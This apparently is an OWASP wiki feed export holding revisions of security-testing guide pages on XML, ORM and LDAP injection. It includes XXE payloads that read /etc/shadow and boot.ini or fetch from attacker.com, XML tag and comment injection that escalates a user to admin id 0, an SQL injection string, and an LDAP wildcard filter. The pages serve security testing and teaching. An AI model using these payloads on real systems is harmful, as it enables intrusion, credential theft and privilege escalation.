   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36974</id>
		<title>Testing for ORM Injection (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36974"/>
				<updated>2008-08-22T23:32:47Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
ORM Injection is an attack using SQL Injection against an ORM generated data access object model.  From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.  However, the injection vulnerability exists in code generated by the ORM tool. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
An ORM is an Object Relational Mapping tool.  It is used to expedite object oriented development within the data access layer of software applications, including web applications.  The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks.  ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database.   It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.&lt;br /&gt;
&lt;br /&gt;
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection].  In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.  Most ORM tools provide safe functions to escape user input.  However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application.  Patterns to look for in code include:&lt;br /&gt;
&lt;br /&gt;
* Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Simply sending &amp;quot;' OR 1--&amp;quot; in the form where order date can be entered can yield positive results.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 &amp;lt;br&amp;gt;&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://www.nhibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36973</id>
		<title>Testing for ORM Injection (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36973"/>
				<updated>2008-08-22T23:32:20Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
ORM Injection is an attack using SQL Injection against an ORM generated data access object model.  From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.  However, the injection vulnerability exists in code generated by the ORM tool. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
An ORM is an Object Relational Mapping tool.  It is used to expedite object oriented development within the data access layer of software applications, including web applications.  The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks.  ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database.   It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.&lt;br /&gt;
&lt;br /&gt;
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection].  In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.  Most ORM tools provide safe functions to escape user input.  However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application.  Patterns to look for in code include:&lt;br /&gt;
&lt;br /&gt;
Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Simply sending &amp;quot;' OR 1--&amp;quot; in the form where order date can be entered can yield positive results.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 &amp;lt;br&amp;gt;&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://www.nhibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36972</id>
		<title>Testing for ORM Injection (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36972"/>
				<updated>2008-08-22T23:30:36Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
ORM Injection is an attack using SQL Injection against an ORM generated data access object model.  From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.  However, the injection vulnerability exists in code generated by the ORM tool. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
An ORM is an Object Relational Mapping tool.  It is used to expedite object oriented development within the data access layer of software applications, including web applications.  The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks.  ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database.   It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.&lt;br /&gt;
&lt;br /&gt;
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection].  In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.  Most ORM tools provide safe functions to escape user input.  However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application.  Patterns to look for in code include:&lt;br /&gt;
&lt;br /&gt;
Input parameters concatenated with SQL strings, this example using ActiveRecord for Ruby on Rails (though any ORM can be vulnerable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Simply sending &amp;quot;' OR 1--&amp;quot; in the form where order date can be entered can yield positive results.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 &amp;lt;br&amp;gt;&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://www.nhibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36971</id>
		<title>Testing for ORM Injection (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=36971"/>
				<updated>2008-08-22T23:30:02Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
ORM Injection is an attack using SQL Injection against an ORM generated data access object model.  From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.  However, the injection vulnerability exists in code generated by the ORM tool. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
An ORM is an Object Relational Mapping tool.  It is used to expedite object oriented development within the data access layer of software applications, including web applications.  The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks.  ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database.   It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.&lt;br /&gt;
&lt;br /&gt;
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection].  In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.  Most ORM software provide safe functions to escape user input.  However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and test web applications that use this tool, there is a higher probability of successfully attacking the application.  Patterns to look for in code include:&lt;br /&gt;
&lt;br /&gt;
Input parameters concatenated with SQL strings, this example using ActiveRecord for Ruby on Rails (though any ORM can be vulnerable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Simply sending &amp;quot;' OR 1--&amp;quot; in the form where order date can be entered can yield positive results.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* References from Testing for SQL Injection are applicable to ORM Injection - http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 &amp;lt;br&amp;gt;&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://www.nhibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36970</id>
		<title>Testing for LDAP Injection (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36970"/>
				<updated>2008-08-22T23:28:22Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Example 2. Login */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary ==&lt;br /&gt;
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.&lt;br /&gt;
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.&amp;lt;br&amp;gt;&lt;br /&gt;
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue  == &lt;br /&gt;
&lt;br /&gt;
A web application could use LDAP in order to let users authenticate or search other users information&lt;br /&gt;
inside a corporate structure.&lt;br /&gt;
&lt;br /&gt;
The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.&lt;br /&gt;
&lt;br /&gt;
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]&lt;br /&gt;
defines a grammar on how to build a search filter on LDAPv3 and&lt;br /&gt;
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
An LDAP search filter is constructed in  Polish notation, &lt;br /&gt;
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
This means that a pseudo code condition on a search filter like this:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
will be represented as:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Boolean conditions and group aggregations on an &lt;br /&gt;
LDAP search filter could be applied by using &lt;br /&gt;
the following metacharacters:&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metachar''' || '''Meaning'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || Boolean AND &lt;br /&gt;
|-&lt;br /&gt;
||   | || Boolean OR&lt;br /&gt;
|-&lt;br /&gt;
||  ! || Boolean NOT&lt;br /&gt;
|-&lt;br /&gt;
||   = || Equals &lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approx&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Greater than&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Less than&lt;br /&gt;
|-&lt;br /&gt;
||   *  || Any character&lt;br /&gt;
|-&lt;br /&gt;
||   () || Grouping parenthesis&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
More complete examples on how to build a search filter can be&lt;br /&gt;
found in the related RFC.&lt;br /&gt;
&lt;br /&gt;
A successful exploitation of an LDAP injection vulnerability could allow the tester to:&lt;br /&gt;
&lt;br /&gt;
* Access unauthorized content&lt;br /&gt;
* Evade Application restrictions&lt;br /&gt;
* Gather unauthorized informations&lt;br /&gt;
* Add or modify Objects inside LDAP tree structure.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1. Search Filters ===&lt;br /&gt;
&lt;br /&gt;
Let's suppose we have a web application using a search&lt;br /&gt;
filter like the following one:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which is instantiated by an HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the value 'John' is replaced with a '*',&lt;br /&gt;
by sending the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the filter will look like:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which matches every object with a 'cn' attribute equals to anything.&lt;br /&gt;
&lt;br /&gt;
